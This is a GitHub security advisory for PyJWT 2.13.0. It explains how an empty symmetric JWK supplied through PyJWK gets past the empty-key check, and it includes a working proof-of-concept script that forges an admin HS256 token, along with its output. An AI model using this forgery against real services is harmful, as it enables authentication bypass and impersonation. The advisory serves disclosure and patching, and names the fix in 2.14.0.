GitHub Advisoryadvisory · PyPI
GHSA-9j54-fg26-wv3r PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation
HIGH
Official page ↗
- Aliases
- CVE-2026-102266
- Ecosystem
- PyPI
- Packages
- PyJWT
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-347
- Reviewed
- 2026-09-29
Affected packages
• PyPI PyJWT: >= 2.13.0, < 2.14.0 → fixed in 2.14.0
Description
Summary
A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.
PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.
An `oct` JWK containing an empty Base64URL key value:
```json
{"kty":"oct","k":""}
```
is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.
An attacker can independently calculate `HMAC-SHA256(b"", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.
The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `"k": ""`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.
Details
The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.
Raw empty HMAC keys are rejected
`[HMACAlgorithm.prepare_key`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.
As a result, an empty raw key is rejected in PyJWT 2.13.0:
```python
jwt.decode(token, b"", algorithms=["HS256"])
```
with `InvalidKeyError`.
Empty `oct` JWKs decode to the same key but are accepted
`[HMACAlgorithm.from_jwk`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.
For:
```json
{
"kty": "oct",
"k": ""
}
```
the empty Base64URL value is decoded to:
```python
b""
```
and returned without an emptiness check.
`[PyJWK.__init__`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.
The resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.
`PyJWK` verification bypasses the raw-key validation
`[PyJWS._verify_signature`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.
When a `PyJWK` is supplied, verification uses its already-decoded key directly:
```python
prepared_key = key.key
```
The value is not passed through:
```python
alg_obj.prepare_key(key.key)
```
so the empty-key check in `HMACAlgorithm.prepare_key` is never reached.
The minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.
The verifier therefore receives:
```python
b""
```
as the HS256 key.
This creates the following difference for identical cryptographic key material:
```text
raw b""
-> HMACAlgorithm.prepare_key
-> InvalidKeyError
{"kty":"oct","k":""}
-> HMACAlgorithm.from_jwk
-> b""
-> PyJWK.key
-> PyJWS._verify_signature
-> HMAC verification with b""
-> accepted
```
Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.
This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.
The issue was reproduced against PyJWT 2.13.0 and commit:
```text
7144e4534c34810f4525dc4578a32addd8212cff
```
which was the tip of the public `master` branch at the time of testing.
PoC
The following PoC reproduces the issue on PyJWT 2.13.0.
It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.
Install PyJWT 2.13.0:
```bash
python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"
```
Save the following as `poc.py`:
```python
import base64
import hashlib
import hmac
import json
import time
import warnings
import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError
def b64u(value: bytes) -> bytes:
return base64.urlsafe_b64encode(value).rstrip(b"=")
now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
json.dumps(
{"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
separators=(",", ":"),
).encode()
)
signing_input = header + b"." + payload
forged = (
signing_input
+ b"."
+ b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()
jwk = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256",
"use": "sig",
}
]
}
)["active"]
with warnings.catch_warnings():
warnings.simplefilter("ignore")
claims = jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"require": ["exp"]},
)
assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)
try:
jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
print("CONTROL raw empty key: rejected")
else:
raise AssertionError("raw empty key was accepted")
try:
jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"enforce_minimum_key_length": True},
)
except InvalidKeyError:
print("CONTROL strict PyJWK: rejected")
else:
raise AssertionError("strict PyJWK was accepted")
real_key = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "cmVhbC1zZWNyZXQ",
"kid": "active",
"alg": "HS256",
}
]
}
)["active"]
try:
with warnings.catch_warnings():
warnings.simplefilter("ignore")
jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
print("CONTROL non-empty PyJWK: rejected")
else:
raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
```
Run:
```bash
python poc.py
```
Observed output:
```text
VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': , 'exp': }
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected
```
The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.
The first control supplies the same key material directly as `b""`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.
The second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.
The third control changes onl…
Related
Alias · CVE (1)
- CVE-2026-102266 PyJWT is a Python implementation of JSON Web Token standards. vulnerability
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness
References
- https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r web
- https://nvd.nist.gov/vuln/detail/CVE-2026-102266 advisory
- https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c web
- https://github.com/jpadilla/pyjwt package
- https://github.com/jpadilla/pyjwt/releases/tag/2.14.0 web